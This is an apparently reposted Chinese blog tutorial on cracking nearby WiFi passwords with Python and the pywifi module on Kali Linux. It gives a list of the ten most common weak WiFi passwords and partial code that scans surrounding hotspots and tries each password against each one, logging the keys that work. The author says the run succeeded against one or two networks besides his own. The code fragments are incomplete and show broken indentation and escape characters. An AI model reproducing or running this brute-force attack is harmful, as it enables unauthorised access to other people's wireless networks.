1. 程式人生 > 其它 >如何用python輕鬆破解wifi密碼( 原始碼 )

如何用python輕鬆破解wifi密碼( 原始碼 )

摘要: 我得說明下這個東西一點都不高階,甚至看起來有點糟糕。而且用的是單執行緒~,因為過幾天要搬家了,於是。。

環境準備

  • python2.7
  • 湊合的linux
  • 差不多的無線網絡卡
  • pywifi模組
  • 弱口令字典
  • 清除系統中的任何wifi連線記錄(非常重要!!!)

首先,這個模組在win下有點雞肋,作者在呼叫WLANAPI時沒有做好WLAN_SECURITY_ATTRIBUTES的封裝,所以推薦在linux下跑,我測試所使用的是Kali 2.0 自帶python 2.7.6 ,可直接通過 pip install pywifi 安裝。

匯入模組

這裡用的模組就這三個 pywifi的_wifiutil_linux.py指令碼的 _send_cmd_to_wpas方法中的if reply != b'OKn':判斷需要修改,不然會有很多的提示資訊。

from pywifi import *
import time
import sys

字典準備

效率很重要,畢竟這東西跑起來可真慢,下面是天朝用的比較多的wifi弱口令TOP10

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111

配置掃描器

推薦掃描時常可以設定在15-20秒之間 測試時常則可以自定義,考慮到認證速度於距離的關係,我一般設定在15左右,再久的也沒意義 到時候就算破解成功的熱點,訊號也好不到哪裡

print "%sn%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s n%s"%("-"*70,6,
"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,
"KEY","="*70)
#將每一個熱點資訊逐一進行測試
    for i,x in enumerate(scanres):        
#測試完畢後,成功的結果講儲存到files中
        res = test(nums-i,iface,x,keys,output,testtimes)      
        if res:
            open(files,"a").write(res)

掃描周圍熱點

def scans(face,timeout):
    #開始掃描
    face.scan()
    time.sleep(timeout)   
 #在若干秒後獲取掃描結果
    return face.scan_results()

熱點測試

這裡後續推薦將掃描過程資料入庫,防止重複掃描,且更加直觀。

stu.write("r%-*s| %-*s| %s |%*.2fs| %-*s |  %-*s %*s"%(6,i,18,showID,code,5,now,

7,x.signal,10,len(key)-n,10,k.replace("n","")))

            stu.flush()           

if code == 4:

                face.disconnect()             

return "%-*s| %s | %*s |%*sn"%(20,x.ssid,x.bssid,3,x.signal,15,k)

return False

案例

這裡顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然後開始坑爹的跑起來了

  • WIFIID 熱點的id號 每跑一個會減1
  • SSID OR BSSID 熱點的ssid名或mac地址
  • N 對熱點的連線狀態,這個在
  • time 當前所花去的時間
  • signal 熱點的訊號強度,若小越好
  • KEYNUM 測試密碼的id 每跑一個會減1
  • KEY 當前測試的密碼

結果還不錯,各位的安全意識不像以前那麼蛋疼了,掃出一兩個,其中一個還是自家的 - -

via:https://my.oschina.net/Apathy/blog/821039